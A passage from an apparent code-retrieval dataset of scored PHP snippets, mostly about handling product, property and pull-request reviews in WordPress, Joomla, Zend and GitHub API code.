'/check-runs',\n\t\tnull,\n\t\t[ 'Accept: application/vnd.github.antiope-preview+json' ]\n\t);\n\tif ( ! empty( $raw_check_runs->check_runs ) ) {\n\t\tforeach ( $raw_check_runs->check_runs as $check ) {\n\t\t\tswitch ( $check->status ) {\n\t\t\t\tcase 'queued':\n\t\t\t\tcase 'in_progress':\n\t\t\t\t\t$check_runs[ $check->app->name ] = 'in_progress';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'completed':\n\t\t\t\t\tswitch( $check->conclusion ) {\n\t\t\t\t\t\tcase 'success':\n\t\t\t\t\t\t\t$check_runs[ $check->app->name ] = 'success';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'failure':\n\t\t\t\t\t\t\t$check_runs[ $check->app->name ] = 'failed';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'action_required':\n\t\t\t\t\t\t\t$check_runs[ $check->app->name ] = $check->output->title;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t$_reviews = api_request(\n\t\t'/repos/' . $repo . '/pulls/' . intval( $pr ) . '/reviews',\n\t\tnull,\n\t\t[ 'Accept: application/vnd.github.antiope-preview+json' ]\n\t);\n\t$reviews = [];\n\tif ( $_reviews ) {\n\t\tforeach ( $_reviews as $r ) {\n\t\t\tif (\n\t\t\t\tin_array( $r->state, [ 'CHANGES_REQUESTED', 'APPROVED' ] ) &&\n\t\t\t\t! in_array( $r->user->login, $reviews[ $r->state ] ?? [], true )\n\t\t\t) {\n\t\t\t\t$reviews[ $r->state ][] = $r->user->login;\n\t\t\t}\n\t\t}\n\t}\n\n\t$touches_tests = false;\n\t$_files = api_request(\n\t\t'/repos/' . $repo . '/pulls/' . intval( $pr ) . '/files?per_page=999',\n\t\tnull,\n\t\t[ 'Accept: application/vnd.github.antiope-preview+json' ]\n\t);\n\tif ( $_files ) {\n\t\tforeach ( $_files as $f ) {\n\t\t\tif ( preg_match( '!(^tests/|/tests/)!', $f->filename ) ) {\n\t\t\t\t$touches_tests = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn (object) [\n\t\t'repo' => $data->base->repo->full_name,\n\t\t'number' => $data->number,\n\t\t'html_url' => $data->html_url,\n\t\t'state' => $data->state,\n\t\t'title' => $data->title,\n\t\t'created_at' => $data->created_at,\n\t\t'updated_at' => $data->updated_at,\n\t\t'closed_at' => $data->closed_at,\n\t\t'mergeable_state' => $data->mergeable_state,\n\t\t'check_runs' => $check_runs,\n\t\t'reviews' => $reviews,\n\t\t'touches_tests' => $touches_tests,\n\t\t'body' => $data->body,\n\t\t'user' => (object) [\n\t\t\t'url' => $data->user->html_url,\n\t\t\t'name' => $data->user->login,\n\t\t],\n\t\t'changes' => (object) [\n\t\t\t'additions' => $data->additions,\n\t\t\t'deletions' => $data->deletions,\n\t\t\t'patch_url' => $data->diff_url,\n\t\t\t'html_url' => $data->html_url,\n\t\t],\n\t\t'trac_ticket' => determine_trac_ticket( $data ),\n\t];\n}", "title": "" }, { "docid": "3b42dc5f56c00d4cce5f0c3ff0e7a4f3", "score": "0.45208824", "text": "public function getPresentation();", "title": "" }, { "docid": "b11b3928a4750947185f842d13ade0dd", "score": "0.45200703", "text": "function display_general_mood($content){\r\n if(is_commentmood_deactivated_for_this_post(get_the_guid()) == false)\r\n return $content;\r\n\t$chart = get_chart(get_the_guid());\r\n if(StartsWith($chart,'Pas de'))\r\n return $content.\"<br />\".$chart.\"<br />\";\r\n $sort = \"Trier les commentaires : <a href='\".get_permalink( $post->ID ).\"?commentMoodSort=1'>Humeur</a> | <a href='\".get_permalink( $post->ID ).\"?commentMoodSort=0'>Normal</a><br />\";\r\n \t$stats = \"<br />Humeur g&eacute;n&eacute;rale : <br />\".$chart.\"<br />\";\r\n return $content.$stats.$sort ;\r\n}", "title": "" }, { "docid": "3d7f16652e5a91facc4f69fb18d62e65", "score": "0.45190936", "text": "public function getMchCommunityStrategyQuestions() {\n $this->ortAspectsList = $this->getQuestionsBySection('cms', 'QUC');\n\n //var_dump($this->ortAspectsList);die;\n return $this->ortAspectsList;\n }", "title": "" }, { "docid": "e7ba3e779165e081ddb8f3e1ea0a16d2", "score": "0.4506971", "text": "protected function renderDestuctableReview()\n {\n return $this->renderPlayerOrStatus().parent::renderDestuctableReview();\n }", "title": "" }, { "docid": "6d2d13d15ea21521f8e9020ef8397caa", "score": "0.45012313", "text": "private function populateEvaluationFormPart() {\n\t\tglobal $lng;\n\t\t$head_e = new ilFormSectionHeaderGUI();\n\t\t$head_e->setTitle($lng->txt(\"rep_robj_xrev_evaluation\"));\n\t\t$this->addItem($head_e);\n\n\t\t$group_e = new ilRadioGroupInputGUI($lng->txt(\"rep_robj_xrev_rating\"),\"group_e\");\n\t\t$op_a = new ilRadioOption($lng->txt(\"rep_robj_xrev_quest_accept\"), \"1\", \"\");\n\t\t$group_e->addOption($op_a);\n\t\t$op_e = new ilRadioOption($lng->txt(\"rep_robj_xrev_quest_edit\"), \"2\", \"\");\n\t\t$group_e->addOption($op_e);\n\t\t$op_d = new ilRadioOption($lng->txt(\"rep_robj_xrev_quest_refuse\"), \"3\", \"\");\n\t\t$group_e->addOption($op_d);\n\t\t$group_e->setValue($this->review[\"rating\"]);\n\t\t$group_e->setRequired(true);\n\t\t$this->addItem($group_e);\n\n\t\t$comment = new ilTextAreaInputGUI($lng->txt(\"rep_robj_xrev_comment\"), \"comment\");\n\t\t$comment->setCols(70);\n\t\t$comment->setRows(10);\n\t\t$comment->setValue($this->review[\"eval_comment\"]);\n\t\t$comment->setRequired(true);\n\t\t$this->addItem($comment);\n\t\t\n\t\t$expertise = new ilSelectInputGUI($lng->txt(\"rep_robj_xrev_expertise\"), \"exp\");\n\t\t$expertise->setValue($this->review[\"expertise\"]);\n\t\t$expertise->setOptions($this->expertise);\n\t\t$expertise->setRequired(true);\n\t\t$this->addItem($expertise);\n\t}", "title": "" }, { "docid": "9915879afcc31ff7622d377a3393ed23", "score": "0.44782934", "text": "public function getReview($slug = FALSE)\r\n {\r\n \r\n }", "title": "" }, { "docid": "891711f5dd29dce01d34785e7daf765e", "score": "0.44749954", "text": "function extract_review($html)\n{\n // I have watched a film using this exact formatting. 👀\n if (preg_match(\"/Watched on (.*), \\d{4}\\./\", $html)) {\n return false;\n }\n\n $dom = new \\DOMDocument;\n $dom->loadHTML(\"<div>$html</div>\");\n\n $xpath = new \\DOMXPath($dom);\n\n foreach ($xpath->query('//*[not(node())]') as $node) {\n $node->parentNode->removeChild($node);\n }\n\n foreach ($xpath->query('//*[not(node())]') as $node) {\n $node->parentNode->removeChild($node);\n }\n\n return trim(substr($dom->saveXML($dom->getElementsByTagName('div')->item(0)), 5, -6));\n}", "title": "" }, { "docid": "5392c96259977d4eb390ecc4a1cba911", "score": "0.44694945", "text": "public function content() {\r\n return $this->review->Content;\r\n }", "title": "" }, { "docid": "b68b0d1cc2375f3d6ac4503992d65f5c", "score": "0.44627625", "text": "function gotravel_mikado_woocommerce_review_display_meta($comment_form) {\n\t\tglobal $comment;\n\n\t\t$verified = wc_review_is_from_verified_owner( $comment->comment_ID );\n\n\t\tif ( '0' === $comment->comment_approved ) { ?>\n\t\t\t<p class=\"meta\"><em><?php esc_html_e( 'Your comment is awaiting approval', 'gotravel' ); ?></em></p>\n\t\t<?php } else { ?>\n\t\t\t<p class=\"meta\">\n\t\t\t\t<strong itemprop=\"author\"><?php comment_author(); ?></strong>\n\t\t\t\t<?php if (get_option( 'woocommerce_review_rating_verification_label' ) === 'yes' && $verified) {\n\t\t\t\t\techo '<em class=\"verified\">(' . esc_html__( 'verified owner', 'gotravel' ) . ')</em> ';\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t</p>\n\t\t<?php }\n }", "title": "" }, { "docid": "3ee5252247ae065c64f113adf5115aed", "score": "0.44619837", "text": "function formatReviews($item) { \n $reviews = array();\n \n if (isset($item->EditorialReviews)) {\n foreach ($item->EditorialReviews as $review) {\n $reviews[] = \"<div class='review'>\".\n \"<div class='review_source'>\".\n $review->EditorialReview->Source .\n '</div>' .\n \"<div class='review_details'>\" .\n $review->EditorialReview->Content . \n '</div>'.\n '</div>';\n }\n }\n\n // Filter out values that are empty or null\n $reviews = array_filter($reviews);\n\n return $reviews;\n }", "title": "" }, { "docid": "97a2b551c872e35bdfcabe290bb02e2f", "score": "0.44556817", "text": "function edit_manage_review($option, & $review) {\n global $my, $mosConfig_live_site, $mainframe;\n $mainframe->addCustomHeadTag('<script type = \"text/JavaScript\" src =\"' . $mosConfig_live_site . '/administrator/components/com_realestatemanager/includes/functions.js\"></script>');\n ?>\n <form action=\"index2.php\" method=\"post\" name=\"adminForm\" id=\"adminForm\" enctype=\"multipart/form-data\">\n <table cellpadding=\"4\" cellspacing=\"5\" border=\"0\" width=\"100%\" class=\"adminform\">\n <tr>\n <td colspan=\"2\">\n <?php echo _REALESTATE_MANAGER_LABEL_REVIEW_TITLE; ?>\n </td>\n </tr>\n <tr>\n <td colspan=\"2\">\n <input class=\"inputbox\" type=\"text\" name=\"title\" size=\"80\" \n value=\"<?php echo $review[0]->title ?>\" />\n </td>\n </tr>\n <tr>\n <td>\n <?php echo _REALESTATE_MANAGER_LABEL_REVIEW_COMMENT; ?>\n </td>\n <td align=\"left\" >\n <?php echo _REALESTATE_MANAGER_LABEL_REVIEW_RATING; ?>\n </td>\n </tr>\n <tr>\n <td>\n <!--<textarea align= \"top\" name=\"comment\" id=\"comment\" cols=\"60\" rows=\"10\" style=\"width:400;height:100;\"/></textarea>-->\n\n <?php\n editorArea('editor1', $review[0]->comment, 'comment', '410', '200', '60', '10');\n ?>\n </td>\n <td width=\"102\" align='left'>\n <?php\n $k = 0;\n while ($k < 11) {\n ?>\n <input type=\"radio\" name=\"rating\" value=\"<?php echo $k; ?>\" \n <?php if ($k == $review[0]->rating) echo 'checked=\"checked\"'; ?> alt=\"Rating\" />\n <img src=\"../components/com_realestatemanager/images/rating-<?php echo $k; ?>.gif\" \n alt=\"<?php echo ($k) / 2; ?>\" border=\"0\" /><br />\n <?php\n $k++;\n }\n ?>\n </td>\n </tr>\n <tr>\n <td colspan=\"2\">&nbsp;\n\n </td>\n </tr>\n\n </table>\n\n <input type=\"hidden\" name=\"option\" value=\"<?php echo $option; ?>\" />\n <input type=\"hidden\" name=\"task\" value=\"update_edit_manage_review\" />\n <input type=\"hidden\" name=\"review_id\" value=\"<?php echo $review[0]->id; ?>\" />\n </form>\n <?php\n }", "title": "" }, { "docid": "d0e483aa4721fd458f8fb5d4cb589e99", "score": "0.44481468", "text": "public function reviews() {\n return $this->morphMany('amiretemad\\mirzachallenge\\Models\\ReviewsModel', 'reviewable');\n }", "title": "" }, { "docid": "3f12eee7d6784baa7c104420c719bc4c", "score": "0.4446387", "text": "public function getSelectionLogic();", "title": "" }, { "docid": "2f8d9b7536bdd10b18140a64925312a2", "score": "0.44422275", "text": "function mkb_eval_evaluation_view($node){\r\n\r\n $node_view = node_view($node);\r\n $node_wrapper = entity_metadata_wrapper('node', $node);\r\n $eval_conf = $node_wrapper->field_eval_conf->value();\r\n $eval_conf_wrapper = entity_metadata_wrapper('node', $eval_conf);\r\n\r\n // Initiate content and weight\r\n $content = array();\r\n $weight = 0;\r\n\r\n $gid = $node->og_group_ref['und'][0]['target_id'];\r\n\r\n // Application acronym\r\n// $gid = $node_wrapper->og_group_ref->getIdentifier();\r\n $group_content = mkb_application_get_group_content($gid, 'application_project_info');\r\n $project_info_node = node_load($group_content[0]);\r\n $project_info_wrapper = entity_metadata_wrapper('node', $project_info_node);\r\n $acronym = $project_info_wrapper->field_app_acronym->value();\r\n $content['acronym'] = array(\r\n '#markup' => '<b>Application:</b> ' . $acronym . '</br>',\r\n '#access' => TRUE,\r\n );\r\n\r\n\r\n // Evaluator\r\n $account = user_load($node->uid);\r\n $content['realname'] = array(\r\n '#markup' => '<b>Evaluator:</b> ' . $account->realname . '</br>',\r\n '#access' => TRUE,\r\n );\r\n foreach (element_children($node_view) as $field_name){\r\n if($field_name == 'field_eval_conf'){\r\n $content['type'] = array(\r\n '#markup' => '<b>Evaluation type:</b> ' . $eval_conf_wrapper->label() . '</br>',\r\n '#access' => TRUE,\r\n );\r\n }\r\n\r\n if($field_name == 'field_eval_answers'){\r\n // Questionnaire\r\n $header = array();\r\n $rows = array();\r\n\r\n // Options\r\n $options = array();\r\n foreach ($eval_conf_wrapper->field_conf_options->getIterator() as $delta => $option_wrapper) {\r\n $options[$delta] = $option_wrapper->value();\r\n }\r\n\r\n // Answers as text\r\n $answers = array();\r\n foreach ($node_wrapper->field_eval_answers->getIterator() as $delta => $answer_wrapper) {\r\n $answer_index = $answer_wrapper->value();\r\n $answers[$delta] = $answer_index . ' - ' . $options[$answer_index];\r\n }\r\n\r\n // Questions\r\n foreach ($eval_conf_wrapper->field_conf_questions->getIterator() as $delta => $question_wrapper) {\r\n $question = $question_wrapper->value();\r\n $rows[$delta] = array(\r\n 'question' => $question,\r\n 'answer' => $answers[$delta],\r\n );\r\n }\r\n\r\n // Table\r\n $table = array(\r\n 'header' => $header,\r\n 'rows' => $rows,\r\n 'attributes' => array(\r\n 'class' => array('table_class'),\r\n 'width' => '50%',\r\n ),\r\n 'sticky' => FALSE,\r\n 'empty' => 'No questions.',\r\n 'colgroups' => array(),\r\n 'caption' => '',\r\n );\r\n $content['questionnaire'] = theme_table($table);\r\n }\r\n if($field_name == 'field_eval_score'){\r\n $content['score'] = $node_view[$field_name];\r\n }\r\n if($field_name == 'field_eval_radio'){\r\n // Get radio titles from eval conf\r\n $titles = array();\r\n $new_field = $node_view[$field_name];\r\n foreach ($eval_conf_wrapper->field_conf_radio->getIterator() as $delta => $radio_wrapper) {\r\n $radio_text = $radio_wrapper->value();\r\n $subs = explode('#', $radio_text);\r\n $titles[$delta] = $subs[0];\r\n }\r\n\r\n $field_items = field_get_items('node', $node, $field_name, $langcode = NULL);\r\n $i = 0;\r\n $weight = $node_view[$field_name]['#weight'];\r\n foreach ($field_items as $item){\r\n $answer = ($item['value'] == 1) ? 'Yes' : 'No';\r\n\r\n // Create items array with answer\r\n $new_item = array(\r\n 'value' => $answer,\r\n 'format' => NULL,\r\n 'safe_value' => $answer,\r\n );\r\n $new_field_name = $field_name . '_' . $i;\r\n $field_view = mkb_eval_get_default_field_view($weight, $titles[$i], 'inline', $new_field_name, 'text', $new_item, $answer);\r\n $content[$field_name . '_' . $i] = $field_view;\r\n $i++;\r\n }\r\n }\r\n if($field_name == 'field_eval_text_area'){\r\n // Get text area titles from eval conf\r\n $titles = array();\r\n $new_field = $node_view[$field_name];\r\n foreach ($eval_conf_wrapper->field_conf_text_areas->getIterator() as $delta => $text_area_wrapper) {\r\n $text_area_text = $text_area_wrapper->value();\r\n $subs = explode('#', $text_area_text);\r\n $titles[$delta] = $subs[0];\r\n }\r\n // Create new field array and add it to content\r\n $field_items = field_get_items('node', $node, $field_name, $langcode = NULL);\r\n $i = 0;\r\n $weight = $node_view[$field_name]['#weight'];\r\n foreach ($field_items as $item){\r\n // Get sanitized text\r\n $text_area_value = field_view_value('node', $node, $field_name, $item);\r\n // Create new field array\r\n $new_field_name = $field_name . '_' . $i;\r\n $field_view = mkb_eval_get_default_field_view($weight++, $titles[$i], 'above', $new_field_name, 'text_long', $item, $text_area_value['#markup']);\r\n $content[$field_name . '_' . $i] = $field_view;\r\n $i++;\r\n }\r\n }\r\n }\r\n return $content;\r\n}", "title": "" }, { "docid": "bfd6f8783dac6ef9c5820c88d28355c0", "score": "0.44406316", "text": "public function setApprovedMood() {\n //list of approved moods\n $approved_moods = [\n 'grumpy' => '0',\n 'sleepy' => '1',\n 'rowdy' => '2',\n 'thirsty' => '3',\n 'hungry' => '4'\n ];\n\n return $approved_moods;\n }", "title": "" }, { "docid": "9e780a8c05174d863af86c2d89bd3ad8", "score": "0.4429065", "text": "public function actionReviewlist()\r\n {\r\n $this->verifyRole(UserRoles::REVIEWER);\r\n\r\n $this->args->contribs = $this->contributions()->getAssignedContributions($this->loggedUser['id']);\r\n $this->args->contribCount = $this->args->contribs->rowCount();\r\n // get array of contributions already reviewed\r\n $this->args->reviewed = $this->contributions()->getUserRatedContributions($this->loggedUser['id']);\r\n }", "title": "" }, { "docid": "515248b9a0d374edef9566f47ced9dd8", "score": "0.44273934", "text": "public function getReviewStatistics(){\n $reviews = new \\stdClass();\n $reviews->total_active = Review::count();\n $reviews->deleted_reviews = Review::onlyTrashed()->count();\n $reviews->ratings = [\n 1 => Review::Rating(1)->count(),\n 2 => Review::Rating(2)->count(),\n 3 => Review::Rating(3)->count(),\n 4 => Review::Rating(4)->count(),\n 5 => Review::Rating(5)->count(),\n ];\n return $reviews;\n }", "title": "" }, { "docid": "d96e5933ed86901f6a5ed402d3d6eb48", "score": "0.4421377", "text": "protected function getCardViewModes(): array {\n return ['teaser'];\n }", "title": "" }, { "docid": "3bf4165611cb1351a75590ccb7298ea8", "score": "0.4420235", "text": "public function _getResponse()\n {\n $id = $this->_getParam('id');\n $action = $this->_getParam('task');\n if ($id && is_numeric($id)) {\n if ($action && $action == self::REVIEW_ADD_NEW) {\n return $this->_addNewComment($id);\n }\n return $this->_getReviewList($id);\n }\n throw new \\Exception(Message::REVIEW_ID_NOT_FOUND);\n }", "title": "" }, { "docid": "d489aa772039e991e3c0406f2ad014af", "score": "0.44150057", "text": "public function hasPreviews(){\n return $this->_has(4);\n }", "title": "" }, { "docid": "7b372ffd62bfff6c648fc0360c6b90f3", "score": "0.4408121", "text": "function &getReviewIndexesForRound($monographId, $reviewType, $round) {\n\t\t$returner = array();\n\t\t$index = 0;\n\t\t$result =& $this->retrieve(\n\t\t\t'SELECT review_id \n\t\t\tFROM review_assignments \n\t\t\tWHERE monograph_id = ? AND \n\t\t\t\treview_type = ? AND \n\t\t\t\tround = ? AND\n\t\t\t\t(cancelled = 0 OR cancelled IS NULL) \n\t\t\tORDER BY review_id',\n\t\t\tarray((int) $monographId, (int) $reviewType, (int) $round)\n\t\t\t);\n\n\t\twhile (!$result->EOF) {\n\t\t\t$row = $result->GetRowAssoc(false);\n\t\t\t$returner[$row['review_id']] = $index++;\n\t\t\t$result->MoveNext();\n\t\t}\n\n\t\t$result->Close();\n\t\tunset($result);\n\t\treturn $returner;\n\t}", "title": "" }, { "docid": "20a69f7d14cfec71e753321076a85c99", "score": "0.44076085", "text": "function flexible_hreview() {\n\nglobal $post;\n?>\n\n\n\n<label for=\"hreview_summary\"><code>summary</code> (Optional. Defaults to Excerpt.)</label>\n<br />\n\n<textarea id=\"hreview_summary\" name=\"hreview_summary\" rows=\"5\"><?php echo get_post_meta($post->ID, 'hreview_summary',TRUE); ?></textarea>\n<br /><br />\n\n<label for=\"hreview_type\"><code>type</code></label>\n\n<select id=\"hreview_type\" name=\"hreview_type\">\n<?php\n$hreview_types = array('product', 'business', 'event', 'person', 'place', 'website', 'url');\nforeach ($hreview_types as $hreview_type) {\n\techo '<option';\n\tif(\n\t\tget_post_meta($post->ID, 'hreview_type',TRUE) == $hreview_type ||\n\t\t(get_post_meta($post->ID, 'hreview_type',TRUE) == '' && $hreview_type == 'business')\n\n\t) {\n\t\techo ' selected=\"selected\"';\n\t}\n\techo '>' . $hreview_type . '</option>';\n}\n?>\n</select>\n\n<br /><br />\n\n<label for=\"hreview_item\"><code>item</code> Name (Defaults to Post Title, without \" Review\". Used for <code>fn</code> and <code>org</code> in <code>hCard</code>.)</label>\n<br />\n\n<input type=\"text\" id=\"hreview_item\" name=\"hreview_item\" value=\"<?php\necho get_post_meta($post->ID, 'hreview_item',TRUE);\nif(get_post_meta($post->ID, 'hreview_item',TRUE) == '') echo get_post_meta($post->ID, 'restaurant_name',TRUE);\n?>\" />\n\n<br /><br />\n\n<label for=\"hreview_item_url\"><code>item</code> <code>url</code><br /></label>\n<input type=\"text\" id=\"hreview_item_url\" name=\"hreview_item_url\" value=\"<?php\necho get_post_meta($post->ID, 'hreview_item_url',TRUE);\nif (get_post_meta($post->ID, 'hreview_item_url',TRUE) == '') echo get_post_meta($post->ID, 'restaurant_url',TRUE);\n?>\" />\n\n\n<h4>Ratings</h4>\n\n<?php\n$all_categories = get_option('fhr_categories');\nif($all_categories == '') {\n\techo '<p>No fields have been set. <a href=\"options-general.php?page=fhr-category-options\">Add them on the options page</a>.</p>';\n}\nelse\n{\n?>\n\n<table class=\"widefat\">\n\n\t<thead>\n\t\t<tr>\n\t\t\t<th scope=\"col\">Item</th>\n\t\t\t<th scope=\"col\"><code>rating</code></th>\n\t\t\t<th scope=\"col\">Commentary</th>\n\t\t</tr>\n\t</thead>\n\n\n\t<tbody>\n\n\t<?php // save current rating max \n\tif(get_post_meta($post->ID, 'hreview_rating_max', TRUE)) {\n\t\t$post_rating_max = get_post_meta($post->ID, 'hreview_rating_max', TRUE);\n\t}\n\telse {\n\t\t$post_rating_max = get_option('fhr_rating_max');\n\t}\n\t?>\n\t<input type=\"hidden\" name=\"hreview_rating_max\" id=\"hreview_rating_max\" value=\"<?php echo $post_rating_max; ?>\"/>\n\n\t<?php\n\t$split_categories = explode(',',$all_categories);\n\n\tforeach($split_categories as $category) {\n\t\t$san_cat = str_replace('-','_',sanitize_title($category));\n\t?>\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t<?php echo $category; ?>\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t<select id=\"<?php echo $san_cat; ?>\" name=\"<?php echo $san_cat; ?>\">\n <option></option>\n\t\t\t\t\t<?php \n\t\t\t\t\tfor ($i = 1; $i <= $post_rating_max; $i++) {\n\t\t\t\t\t\techo '<option';\n\t\t\t\t\t\tif(get_post_meta($post->ID, $san_cat, TRUE) == $i) echo ' selected=\"selected\"';\n\t\t\t\t\t\techo '>' . $i . '</option>';\n\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t</select> / <?php echo $post_rating_max; ?>\n\n\t\t\t</td>\n\t\t\t<td class=\"form-field\">\n\t\t\t\t<textarea id=\"<?php echo $san_cat; ?>_commentary\" name=\"<?php echo $san_cat; ?>_commentary\" rows=\"2\"><?php echo get_post_meta($post->ID, $san_cat . '_commentary',TRUE); ?></textarea>\n\t\t\t</td>\n\t\t</tr>\n\t<?php\n\t}\n\t?>\n\n\t</tbody>\n</table>\n<?php\n}\n\nwp_nonce_field('ehr-edit','ehr-nonce');\n\n}", "title": "" }, { "docid": "942e4d4d78652cc19fd2ab9365ba8afc", "score": "0.44064945", "text": "public function review($review)\n {\n return $this->setProperty('review', $review);\n }", "title": "" }, { "docid": "49d452444785ff7414bb988fc4c06d65", "score": "0.44042495", "text": "public function reviewAction(){\n \n /*\n * Get Parameters\n */\n $property_id = intval($this->_getParam('id'));\n $this->view->propertyId = $property_id;\n $form_review = new library_forms_Review;\n $this->view->formReview = $form_review;\n /*\n * Check that the property exists\n */\n $property_model = new library_models_property;\n $property = $property_model->select()->where('propertyId = '.$property_id)->query()->fetchAll();\n if(!isset($property[0])){\n throw new Exception(\"The property with id \".$property_id.\", does not exists\");\n }else{\n $property = $property[0];\n } \n /*\n * Check that this property is not of this this member. Member cannot review their own property.\n */\n \n // Commented out - Jay 11/29\n /*\n try{\n $this->checkPropertyId($property_id);\n throw new Exception(\"You cannot review your own property\");\n }catch(library_classes_BTownException $e){\n //If the program reaches this portion, it means that this member does not own this property, so it is ok to continue\n } \n */\n\n /*\n * Check that this user has not already reviewed this property\n */\n $model_review = new library_models_review;\n $data = $model_review->select()->where(\"memberId = \".$this->memberData->memberId.\" AND propertyId = \".$property_id)->query()->fetchAll();\n if(isset($data[0])){\n throw new Exception(\"You already reviewed this property\");\n }\n if ($this->getRequest()->isPost() && $form_review->isValid($_POST)) {\n //Obtain form values\n $review = $form_review->getValues();\n //Attach memerId and propertyId to the form's data\n $review['memberId'] = $this->memberData->memberId;\n $review['propertyId'] = $property_id; \n //Filter the message \n $review['comment'] = library_classes_BadWordFilter::Filter($review['comment']);\n $review['comment'] = $review['comment']['filtered_message'];\n //Insert the Revie\n $model_review->insert($review);\n //Report the success of the review\n $this->_flashMessenger->addMessage(\"Your review has been sent correctly!\");\n $this->_helper->getHelper('Redirector')->gotoUrl(Zend_Registry::get('ROOTURL').\"properties/member/list\"); \n }\n }", "title": "" }, { "docid": "63e1e94b37faaec120b4972b9fb15844", "score": "0.44038522", "text": "function wp_review_save_postdata( $post_id, $post ) {\n\n\t/* If this is an autosave, our form has not been submitted, so we don't want to do anything. */\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {\n\t\treturn $post_id;\n\t}\n\n\tif ( ! isset( $_POST['wp-review-review-options-nonce'] ) || ! wp_verify_nonce( $_POST['wp-review-review-options-nonce'], 'wp-review-meta-box-options' ) ) {\n\t\treturn;\n\t}\n\n\t$hide_desc = false;\n\t$hide_links = false;\n\t$hide_user_reviews = false;\n\t$hide_review_features = false;\n\n\tif ( is_multisite() ) {\n\t\t$hide_desc = wp_review_network_option( 'hide_review_description_' );\n\t\t$hide_links = wp_review_network_option( 'hide_review_links_' );\n\t\t$hide_user_reviews = wp_review_network_option( 'hide_user_reviews_' );\n\t\t$hide_review_features = wp_review_network_option( 'hide_features_' );\n\t}\n\n\tif ( ! $hide_desc && ! current_user_can( 'wp_review_description' ) ) {\n\t\t$hide_desc = true;\n\t}\n\n\tif ( ! $hide_links && ! current_user_can( 'wp_review_links' ) ) {\n\t\t$hide_links = true;\n\t}\n\n\tif ( ! $hide_user_reviews && ! current_user_can( 'wp_review_user_reviews' ) ) {\n\t\t$hide_user_reviews = true;\n\t}\n\n\tif ( ! $hide_review_features && ! current_user_can( 'wp_review_features' ) ) {\n\t\t$hide_review_features = true;\n\t}\n\n\tif ( ! $hide_review_features && ( ! isset( $_POST['wp-review-item-nonce'] ) || ! wp_verify_nonce( $_POST['wp-review-item-nonce'], basename( __FILE__ ) ) ) ) {\n\t\treturn;\n\t}\n\n\tif ( ! $hide_desc && ( ! isset( $_POST['wp-review-desc-nonce'] ) || ! wp_verify_nonce( $_POST['wp-review-desc-nonce'], basename( __FILE__ ) ) ) ) {\n\t\treturn;\n\t}\n\n\tif ( ! $hide_links && ( ! isset( $_POST['wp-review-links-options-nonce'] ) || ! wp_verify_nonce( $_POST['wp-review-links-options-nonce'], basename( __FILE__ ) ) ) ) {\n\t\treturn;\n\t}\n\n\tif ( ! $hide_user_reviews && ( ! isset( $_POST['wp-review-userReview-nonce'] ) || ! wp_verify_nonce( $_POST['wp-review-userReview-nonce'], basename( __FILE__ ) ) ) ) {\n\t\treturn;\n\t}\n\n\t/* Check the user's permissions. */\n\tif ( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) {\n\t\tif ( ! current_user_can( 'edit_page', $post_id ) ) {\n\t\t\treturn $post_id;\n\t\t}\n\t} else {\n\t\tif ( ! current_user_can( 'edit_post', $post_id ) ) {\n\t\t\treturn $post_id;\n\t\t}\n\t}\n\n\t$type = filter_input( INPUT_POST, 'wp_review_type', FILTER_SANITIZE_STRING );\n\tif ( ! $type ) {\n\t\t$type = wp_review_option( 'review_type', 'none' );\n\t}\n\n\tupdate_post_meta( $post_id, 'wp_review_type', $type );\n\n\t// Do not save review data if never enable it.\n\tif ( 'none' === $type && ! get_post_meta( $post_id, 'wp_review_align', true ) ) {\n\t\treturn $post_id;\n\t}\n\n\t$meta = array(\n\t\t'wp_review_disable_features' => filter_input( INPUT_POST, 'wp_review_disable_features', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_custom_location' => filter_input( INPUT_POST, 'wp_review_custom_location', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_custom_colors' => filter_input( INPUT_POST, 'wp_review_custom_colors', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_custom_width' => filter_input( INPUT_POST, 'wp_review_custom_width', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_custom_author' => filter_input( INPUT_POST, 'wp_review_custom_author', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_location' => filter_input( INPUT_POST, 'wp_review_location', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_heading' => filter_input( INPUT_POST, 'wp_review_heading', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_desc_title' => filter_input( INPUT_POST, 'wp_review_desc_title', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_desc' => ! empty( $_POST['wp_review_desc'] ) ? wp_kses_post( wp_unslash( $_POST['wp_review_desc'] ) ) : '',\n\t\t'wp_review_pros' => ! empty( $_POST['wp_review_pros'] ) ? wp_kses_post( wp_unslash( $_POST['wp_review_pros'] ) ) : '',\n\t\t'wp_review_cons' => ! empty( $_POST['wp_review_cons'] ) ? wp_kses_post( wp_unslash( $_POST['wp_review_cons'] ) ) : '',\n\t\t'wp_review_hide_desc' => filter_input( INPUT_POST, 'wp_review_hide_desc', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_userReview' => filter_input( INPUT_POST, 'wp_review_userReview', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_hide_comments_total' => filter_input( INPUT_POST, 'wp_review_hide_comments_total', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_hide_visitors_rating' => filter_input( INPUT_POST, 'wp_review_hide_visitors_rating', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_user_can_rate_feature' => filter_input( INPUT_POST, 'wp_review_user_can_rate_feature', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_total' => filter_input( INPUT_POST, 'wp_review_total', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_color' => filter_input( INPUT_POST, 'wp_review_color', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_inactive_color' => filter_input( INPUT_POST, 'wp_review_inactive_color', 